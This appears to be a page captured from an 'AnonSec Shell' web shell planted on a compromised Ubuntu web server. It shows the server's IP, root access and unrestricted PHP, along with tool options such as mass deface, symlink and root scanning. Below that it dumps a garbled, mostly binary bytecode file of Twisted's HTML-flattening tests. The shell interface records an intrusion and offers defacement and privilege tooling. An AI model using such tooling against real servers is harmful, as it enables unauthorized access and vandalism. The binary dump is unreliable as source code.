AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/test_flatten.cpython-310.pyc
o

�brV�@sRdZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZm
Z
mZmZmZddlmZddlmZdd	lmZmZmZmZmZdd
lmZddlmZddlm Z dd
l!m"Z"m#Z#m$Z$ddl%m&Z&m'Z'm(Z(ddl)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4ddl5m6Z6Gdd�de6e�Z7dd�j8j9Z:Gdd�de �Z;dS)zf
Tests for the flattening portion of L{twisted.web.template}, implemented in
L{twisted.web._flatten}.
�N)�OrderedDict��dedent)�FunctionType)�Callable�Dict�List�NoReturn�Optional�cast)�XML)�implementer)�CancelledError�Deferred�
gatherResults�passthru�succeed)�Failure)�XMLAssertionMixin)�SynchronousTestCase)�FlattenerError�UnfilledSlot�UnsupportedType)�IRenderable�IRequest�ITemplateLoader)�CDATA�CharRef�Comment�Element�Flattenable�Tag�	TagLoader�
flattenString�renderer�slot�tags)�FlattenTestCasec@szeZdZdZdBdd�ZdBdd�ZdBdd	�ZdBd
d�ZdBdd
�Zde	e
gefde	egefddfdd�Z
dBdd�ZdBdd�ZdBdd�ZdBdd�ZdBdd�ZdBdd�Zde	egefddfdd�ZdBd d!�ZdBd"d#�ZdBd$d%�ZdBd&d'�Zdeeefd(d)�ZdBd*d+�ZdBd,d-�ZdBd.d/�ZdBd0d1�Z dBd2d3�Z!dBd4d5�Z"dBd6d7�Z#dBd8d9�Z$dBd:d;�Z%dBd<d=�Z&dBd>d?�Z'dBd@dA�Z(dS)C�SerializationTestsz.
    Tests for flattening various things.
    �returnNcCs |�tjt�d�dd�d�dS)z:
        Test that nested tags flatten correctly.
        �42�there)�his'<html hi="there"><body>42</body></html>N)�assertFlattensImmediatelyr&�html�body��self�r2�?/usr/lib/python3/dist-packages/twisted/web/test/test_flatten.py�test_nestedTags5s�z"SerializationTests.test_nestedTagscCs |�dd�f|�dd�fdS)zL
        Test that strings will be flattened and escaped correctly.
        �onesonez
<abc&&>123s&lt;abc&amp;&amp;&gt;123N)r-r0r2r2r3�test_serializeString>sz'SerializationTests.test_serializeStringcCs|�t��d�dS)zP
        The serialized form of a self-closing tag is C{'<tagName />'}.
        s<img />N�r-r&�imgr0r2r2r3�test_serializeSelfClosingTagsE�z0SerializationTests.test_serializeSelfClosingTagscCs|�tjdd�d�dS)zV
        The serialized form of attribute I{a} with value I{b} is C{'a="b"'}.
        �foo��srcs<img src="foo" />Nr7r0r2r2r3�test_serializeAttributeKsz*SerializationTests.test_serializeAttributecCs&t��}tddg�|_|�|d�dS)zg
        Multiple attributes are separated by a single space in their serialized
        form.
        )r=r;)�name�bars<img src="foo" name="bar" />N)r&r8r�
attributesr-�r1�tagr2r2r3�!test_serializedMultipleAttributesQsz4SerializationTests.test_serializedMultipleAttributes�wrapData�wrapTagcCs |�|tj|d�d��d�dS)a�
        Common implementation of L{test_serializedAttributeWithSanitization}
        and L{test_serializedDeferredAttributeWithSanitization},
        L{test_serializedAttributeWithTransparentTag}.

        @param wrapData: A 1-argument callable that wraps around the
            attribute's value so other tests can customize it.

        @param wrapTag: A 1-argument callable that wraps around the outer tag
            so other tests can customize it.
        �<>&"r<s!<img src="&lt;&gt;&amp;&quot;" />Nr7)r1rErFr2r2r3�checkAttributeSanitizationZs�z-SerializationTests.checkAttributeSanitizationcCs|�tt�dS)z�
        Attribute values containing C{"<"}, C{">"}, C{"&"}, or C{'"'} have
        C{"&lt;"}, C{"&gt;"}, C{"&amp;"}, or C{"&quot;"} substituted for those
        bytes in the serialized output.
        N)rHrr0r2r2r3�(test_serializedAttributeWithSanitizationo�z;SerializationTests.test_serializedAttributeWithSanitizationcCs|�tt�dS)z�
        Like L{test_serializedAttributeWithSanitization}, but when the contents
        of the attribute are in a L{Deferred
        <twisted.internet.defer.Deferred>}.
        N)rHrrr0r2r2r3�0test_serializedDeferredAttributeWithSanitizationwrJzCSerializationTests.test_serializedDeferredAttributeWithSanitizationcs@g�dtdtf�fdd�}dtdtf�fdd�}|�||�dS)	zS
        Like L{test_serializedAttributeWithSanitization} but with a slot.
        �valuer)cs��|�td�S)N�stuff)�appendr%�rL��tossr2r3�
insertSlot�s
zWSerializationTests.test_serializedAttributeWithSlotWithSanitization.<locals>.insertSlotrCcs|j���d�S)N)rM)�	fillSlots�pop�rCrPr2r3�fillSlot�szUSerializationTests.test_serializedAttributeWithSlotWithSanitization.<locals>.fillSlotN)�strr r!rH)r1rRrVr2rPr3�0test_serializedAttributeWithSlotWithSanitizationszCSerializationTests.test_serializedAttributeWithSlotWithSanitizationcCs|�tjt�dS)z�
        Attribute values which are supplied via the value of a C{t:transparent}
        tag have the same substitution rules to them as values supplied
        directly.
        N)rHr&�transparentrr0r2r2r3�*test_serializedAttributeWithTransparentTag�sz=SerializationTests.test_serializedAttributeWithTransparentTagcsRGdd�dt��g�dtdtf�fdd�}dtdtf��fdd	�}|�||�d
S)z�
        Like L{test_serializedAttributeWithTransparentTag}, but when the
        attribute is rendered by a renderer on an element.
        csHeZdZdedeef�fdd�Zedeede	de
fdd	��Z�ZS)
z_SerializationTests.test_serializedAttributeWithTransparentTagWithRenderer.<locals>.WithRendererrL�loadercs||_t��|�dS�N)rL�super�__init__)r1rLr[��	__class__r2r3r^�szhSerializationTests.test_serializedAttributeWithTransparentTagWithRenderer.<locals>.WithRenderer.__init__�requestrCr)cS�|jSr\rO)r1rarCr2r2r3rM�szeSerializationTests.test_serializedAttributeWithTransparentTagWithRenderer.<locals>.WithRenderer.stuff)
�__name__�
__module__�__qualname__rWr
rr^r$rr!r rM�
__classcell__r2r2r_r3�WithRenderer�s$rgrLr)cs��|�tjdd�S)NrM��render)rNr&rYrOrPr2r3�insertRenderer�s
zaSerializationTests.test_serializedAttributeWithTransparentTagWithRenderer.<locals>.insertRendererrCcs����t|��Sr\)rTr"rU�rgrQr2r3ri�szYSerializationTests.test_serializedAttributeWithTransparentTagWithRenderer.<locals>.renderN)rrWr r!rH)r1rjrir2rkr3�6test_serializedAttributeWithTransparentTagWithRenderer�s
	zISerializationTests.test_serializedAttributeWithTransparentTagWithRenderercCs&tt�Gdd�d��}|�|t�dS)z�
        Like L{test_serializedAttributeWithTransparentTag}, but when the
        attribute is a provider of L{IRenderable} rather than a transparent
        tag.
        c@sReZdZdefdd�Zdeedefdd�Zdede	eee
geffd	d
�ZdS)zLSerializationTests.test_serializedAttributeWithRenderable.<locals>.ArbitraryrLcSs
||_dSr\rO)r1rLr2r2r3r^��
zUSerializationTests.test_serializedAttributeWithRenderable.<locals>.Arbitrary.__init__rar)cSrbr\rO�r1rar2r2r3ri�szSSerializationTests.test_serializedAttributeWithRenderable.<locals>.Arbitrary.renderr?cS�td��)NzUnexpected call)�NotImplementedError�r1r?r2r2r3�lookupRenderMethod�sz_SerializationTests.test_serializedAttributeWithRenderable.<locals>.Arbitrary.lookupRenderMethodN)rcrdrer r^r
rrirWrr!rrr2r2r2r3�	Arbitrary�s��rsN)r
rrHr)r1rsr2r2r3�&test_serializedAttributeWithRenderable�sz9SerializationTests.test_serializedAttributeWithRenderablecCsLt�d�}tj||�d�}|�|d�}|�|d�}|�t|�jd|�dS)ag
        Common implementation of L{test_serializedAttributeWithTag} and
        L{test_serializedAttributeWithDeferredTag}.

        @param wrapTag: A 1-argument callable that wraps around the attribute's
            value so other tests can customize it.
        @type wrapTag: callable taking L{Tag} and returning something
            flattenable
        rGr<s@<img src="&lt;a&gt;&amp;lt;&amp;gt;&amp;amp;&quot;&lt;/a&gt;" />s<a>&lt;&gt;&amp;"</a>r=N)r&�ar8r-�assertXMLEqualr�attrib)r1rF�innerTag�outerTag�outer�innerr2r2r3�checkTagAttributeSerialization�s
�z1SerializationTests.checkTagAttributeSerializationcC�|�t�dS)z�
        L{Tag} objects which are serialized within the context of an attribute
        are serialized such that the text content of the attribute may be
        parsed to retrieve the tag.
        N)r|rr0r2r2r3�test_serializedAttributeWithTag�sz2SerializationTests.test_serializedAttributeWithTagcCr})z�
        Like L{test_serializedAttributeWithTag}, but when the L{Tag} is in a
        L{Deferred <twisted.internet.defer.Deferred>}.
        N)r|rr0r2r2r3�'test_serializedAttributeWithDeferredTag�sz:SerializationTests.test_serializedAttributeWithDeferredTagcCs6|�tjtjdd�d�d�}|�t|�jdd�dS)z�
        Similar to L{test_serializedAttributeWithTag}, but for the additional
        complexity where the tag which is the attribute value itself has an
        attribute value which contains bytes which require substitution.
        rG)�hrefr<sV<img src="&lt;a href=&quot;&amp;lt;&amp;gt;&amp;amp;&amp;quot;&quot;&gt;&lt;/a&gt;" />r=s"<a href="&lt;&gt;&amp;&quot;"></a>N)r-r&r8rurvrrw)r1�	flattenedr2r2r3�,test_serializedAttributeWithTagWithAttribute�s��z?SerializationTests.test_serializedAttributeWithTagWithAttributecC�|�td�d�dS)zI
        Test that comments are correctly flattened and escaped.
        �foo bars<!--foo bar-->N)r-rr0r2r2r3�test_serializeCommentr:z(SerializationTests.test_serializeCommentcsNdtddf�fdd�}g}dD]}tdt|��}|�|�|�|�qt|�S)a�
        The data in a L{Comment} is escaped and mangled in the flattened output
        so that the result is a legal SGML and XML comment.

        SGML comment syntax is complicated and hard to use. This rule is more
        restrictive, and more compatible:

        Comments start with <!-- and end with --> and never contain -- or >.

        Also by XML syntax, a comment may not end with '-'.

        @see: U{http://www.w3.org/TR/REC-xml/#sec-comments}
        �cr)Ncs���|�d�|�d����|�d�|�d����t|�dk|�d��|dd�}��d	|���d
|�|rC��|dd�dSdS)
Ns<!--z' does not start with the comment prefixs-->z% does not end with the comment suffix�z# is too short to be a legal comment����s--�>����-)�
assertTrue�
startswith�endswith�len�assertNotIn�assertNotEqual)r��contentr0r2r3�
verifyComments���z>SerializationTests.test_commentEscaping.<locals>.verifyComment)�z	foo---barz
foo---bar-zfoo>barz	foo-->barz----------------)�bytesr#r�addCallbackrNr)r1r��resultsr��dr2r0r3�test_commentEscapings
z'SerializationTests.test_commentEscapingcCs&|�td�d�f|�td�d�dS)zE
        Test that CDATA is correctly flattened and escaped.
        r�s<![CDATA[foo bar]]>zfoo ]]> bars#<![CDATA[foo ]]]]><![CDATA[> bar]]>N)r-rr0r2r2r3�test_serializeCDATA6s�z&SerializationTests.test_serializeCDATAcCsnd}|�|d�|�t�|�d�|�t|�d�|�t|�d�|�t|�t�|�td|did�t�d	S)
z�
        Test that unicode is encoded correctly in the appropriate places, and
        raises an error when it occurs in inappropriate place.
        �☃s☃s
<p>☃</p>s
<!--☃-->s<![CDATA[☃]]>�pr�)rAN)r-r&r�rr�assertFlatteningRaisesr!�UnicodeEncodeError)r1�snowmanr2r2r3�test_serializeUnicode?s�z(SerializationTests.test_serializeUnicodecCsttd��}|�|d�dS)ze
        A character reference is flattened to a string using the I{&#NNNN;}
        syntax.
        r�s&#9731;N)r�ordr-)r1�refr2r2r3�test_serializeCharRefNsz(SerializationTests.test_serializeCharRefcCr�)zz
        Test that a deferred is substituted with the current value in the
        callback chain when flattened.
        �twostwoN)r-rr0r2r2r3�test_serializeDeferredVsz)SerializationTests.test_serializeDeferredcCs$td�}|�|d�|�|d�dS)zE
        Test that the same deferred can be flattened twice.
        �threesthreeN)rr-)r1r�r2r2r3�test_serializeSameDeferredTwice]sz2SerializationTests.test_serializeSameDeferredTwicecCs:ddlm}i}t|d�|�|d}|�|d�d�dS)zt
        Test that a coroutine returning a value is substituted with the that
        value when flattened.
        rrzE
            async def coro(x):
                return x
            �coro�four�fourN)�textwrapr�execr-�r1r�	namespacer�r2r2r3�test_serializeCoroutinees��	z*SerializationTests.test_serializeCoroutinecCs@ddlm}ttd�}t|d�|�|d}|�|d�d�dS)	z�
        Test that a coroutine returning an awaited deferred value is
        substituted with that value when flattened.
        rr)rzT
            async def coro(x):
                return await succeed(x)
            r�r�r�N)r�r�dictrr�r-r�r2r2r3� test_serializeCoroutineWithAwaitzs
��	z3SerializationTests.test_serializeCoroutineWithAwaitcs,tt�G�fdd�d��}��|�d�dS)zQ
        Test that flattening respects all of the IRenderable interface.
        csDeZdZdedefdd�Zdedeee	ege
ff�fdd�ZdS)	zASerializationTests.test_serializeIRenderable.<locals>.FakeElement�oredr)cSs t�dtjdd�dtjdd��S)Nzhello, �testrhz - )r&r�rY)�ignr�r2r2r3ri�s

�zHSerializationTests.test_serializeIRenderable.<locals>.FakeElement.renderr?cs��|d�dd�S)Nr�cSs|d�S)N�worldr2)r��noder2r2r3�<lambda>�szfSerializationTests.test_serializeIRenderable.<locals>.FakeElement.lookupRenderMethod.<locals>.<lambda>)�assertEqual)r�r?r0r2r3rr�szTSerializationTests.test_serializeIRenderable.<locals>.FakeElement.lookupRenderMethodN)rcrdre�objectr!rirWrr
rr rrr2r0r2r3�FakeElement�s��r�s<p>hello, world - world</p>N)r
rr-)r1r�r2r0r3�test_serializeIRenderable�sz,SerializationTests.test_serializeIRenderablecCs|�tjdd�t�dS)z�
        Test that flattening a tag with a C{render} attribute when no render
        factory is available in the context raises an exception.
        r�rhN)r�r&rY�
ValueErrorr0r2r2r3�"test_serializeMissingRenderFactory�sz5SerializationTests.test_serializeMissingRenderFactorycCs>t�td��}|��}|jdd�|�|t�|�|d�dS)zS
        Test that flattening a slot will use the slot value from the tag.
        r�zhello, world�r�s<p>hello, world</p>N)r&r�r%�clonerSr�rr-)r1�t1�t2r2r2r3�test_serializeSlots�s
z&SerializationTests.test_serializeSlotscCs4t�td��}|jtt�d��d�|�|d�dS)z|
        Test that a slot with a deferred as its value will be flattened using
        the value from the deferred.
        r�zfour>r�s<p><em>four&gt;</em></p>N)r&r�r%rSr�emr-)r1�tr2r2r3�test_serializeDeferredSlots�sz.SerializationTests.test_serializeDeferredSlotscCs|�dt�dS)zT
        Test that flattening an unknown type of thing raises an exception.
        N)r�rr0r2r2r3�test_unknownTypeRaises�sz)SerializationTests.test_unknownTypeRaises�r)N))rcrdre�__doc__r4r6r9r>rDrrWr r!rHrIrKrXrZrlrtr|r~rr�r�rrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r2r2r2r3r(0sT

	


	��
�





�
�




/
	









	r(cC�dSr\r2r2r2r2r3r��sr�c@sLeZdZdZddd�Zddd�Zddd	�Zdd
d�Zddd
�Zddd�Z	dS)�FlattenerErrorTestsz&
    Tests for L{FlattenerError}.
    r)NcCs:tt�Gdd�d��}|�tttd�|�gg��d�dS)z�
        If a L{FlattenerError} is created with an L{IRenderable} provider root,
        the repr of that object is included in the string representation of the
        exception.
        c@seZdZdefdd�ZdS)z7FlattenerErrorTests.test_renderable.<locals>.Renderabler)cS�dS)Nzrenderable reprr2r0r2r2r3�__repr__��z@FlattenerErrorTests.test_renderable.<locals>.Renderable.__repr__N)rcrdrerWr�r2r2r2r3�
Renderable�sr��reasonzCException while flattening:
  renderable repr
RuntimeError: reason
N)r
rr�rWr�RuntimeError)r1r�r2r2r3�test_renderable�s�z#FlattenerErrorTests.test_renderablecCs2tddddd�}|�tttd�|gg��d�dS)	z�
        If a L{FlattenerError} is created with a L{Tag} instance with source
        location information, the source location is included in the string
        representation of the exception.
        �divz/foo/filename.xhtml��)�filename�
lineNumber�columnNumberr�zlException while flattening:
  File "/foo/filename.xhtml", line 17, column 12, in "div"
RuntimeError: reason
N)r!r�rWrr�rBr2r2r3�test_tag�s
�zFlattenerErrorTests.test_tagcCs&|�tttd�td�gg��d�dS)z�
        If a L{FlattenerError} is created with a L{Tag} instance without source
        location information, only the tagName is included in the string
        representation of the exception.
        r��spanz>Exception while flattening:
  Tag <span>
RuntimeError: reason
N)r�rWrr�r!r0r2r2r3�test_tagWithoutLocation�s�z+FlattenerErrorTests.test_tagWithoutLocationc
s�d�fdd�}dtfdd��z|�Wn!ty4}zt�t��d�dd�}|}WYd}~n
d}~ww|�d	�|�tt	|g|��d
t
|jjdt
�jjdf�dS)z�
        If a L{FlattenerError} is created with traceback frames, they are
        included in the string representation of the exception.
        r)Ncs
��dSr\r2r2��gr2r3�frmz-FlattenerErrorTests.test_traceback.<locals>.fcSro)Nr�)r�r2r2r2r3r�sz-FlattenerErrorTests.test_traceback.<locals>.g��zf() must raise RuntimeErrorz�Exception while flattening:
  File "%s", line %d, in f
    g()
  File "%s", line %d, in g
    raise RuntimeError("reason")
RuntimeError: reason
r�)
r	r��	traceback�
extract_tb�sys�exc_info�failr�rWr�HERE�__code__�co_firstlineno)r1r��e�tbinfo�excr2r�r3�test_tracebacks(
��


���z"FlattenerErrorTests.test_tracebackcs�t��tt�G�fdd�d��}td|�g�}|�|�td�}��|�|�|t�}|�	t
|j�tj
td�tjd��|��t�dS)z�
        When flattening a renderer which raises an exception asynchronously,
        the error is reported when it occurs.
        csZeZdZdZdefdd�Zdedeeee	ge
ffdd�Zdeede
f�fd	d
�ZdS)zPFlattenerErrorTests.test_asynchronousFlattenError.<locals>.NotActuallyRenderablez#No methods provided; this will failr)cSr�)Nz<unrenderable>r2r0r2r2r3r�6r�zYFlattenerErrorTests.test_asynchronousFlattenError.<locals>.NotActuallyRenderable.__repr__r?cSr�r\r2rqr2r2r3rr9szcFlattenerErrorTests.test_asynchronousFlattenError.<locals>.NotActuallyRenderable.lookupRenderMethodracs�Sr\r2rn��failingr2r3ri>r�zWFlattenerErrorTests.test_asynchronousFlattenError.<locals>.NotActuallyRenderable.renderN)
rcrdrer�rWr�rr
rr!r rrrir2r�r2r3�NotActuallyRenderable2s�
�r�N�examplea@                    Exception while flattening:
                      \[<unrenderable>\]
                      <unrenderable>
                      .*
                      File ".*", line \d*, in _flattenTree
                        element = await element
                    RuntimeError: example
                    )�flags)rr
rr#�assertNoResultr��errback�failureResultOfr�assertRegexrWrL�re�compiler�	MULTILINE)r1r��
flatteningr��failurer2r�r3�test_asynchronousFlattenError+s$

���z1FlattenerErrorTests.test_asynchronousFlattenErrorcs�d�d�dttddf��fdd�}d�dtddf�fdd	�}t|�}td|�}|�|�|�|�|��|�|t�}|�	�d
�|�
�|�|��t�|�tt��j
t�|j
jd}|�|t�dS)z@
        The flattening of a Deferred can be cancelled.
        rN�	cancelledr)cs|��d7�dS)Nr�r2)r�)�	cancelArg�cancelCountr2r3�checkCancelbsz4FlattenerErrorTests.test_cancel.<locals>.checkCancelr�cs|�dSr\r2)r�)�errr2r3�saveErrisz0FlattenerErrorTests.test_cancel.<locals>.saveErrr�)rr�rr#r��
addErrback�cancelr�rr��assertIs�assertIsInstancerrLr�args)r1r�rr�r�r�r�r2)r�r�rr3�test_cancel[s"


zFlattenerErrorTests.test_cancelr�)
rcrdrer�r�r�r�r�r�rr2r2r2r3r��s




&0r�)<r�r�r�r��collectionsrr�r�typesr�typingrrrr	r
r�xml.etree.ElementTreer�zope.interfacer
�twisted.internet.deferrrrrr�twisted.python.failurer�twisted.test.testutilsr�twisted.trial.unittestr�twisted.web.errorrrr�twisted.web.iwebrrr�twisted.web.templaterrrrr r!r"r#r$r%r&�twisted.web.test._utilr'r(r��co_filenamer�r�r2r2r2r3�<module>s0 4
#

Anon7 - 2022
AnonSec Team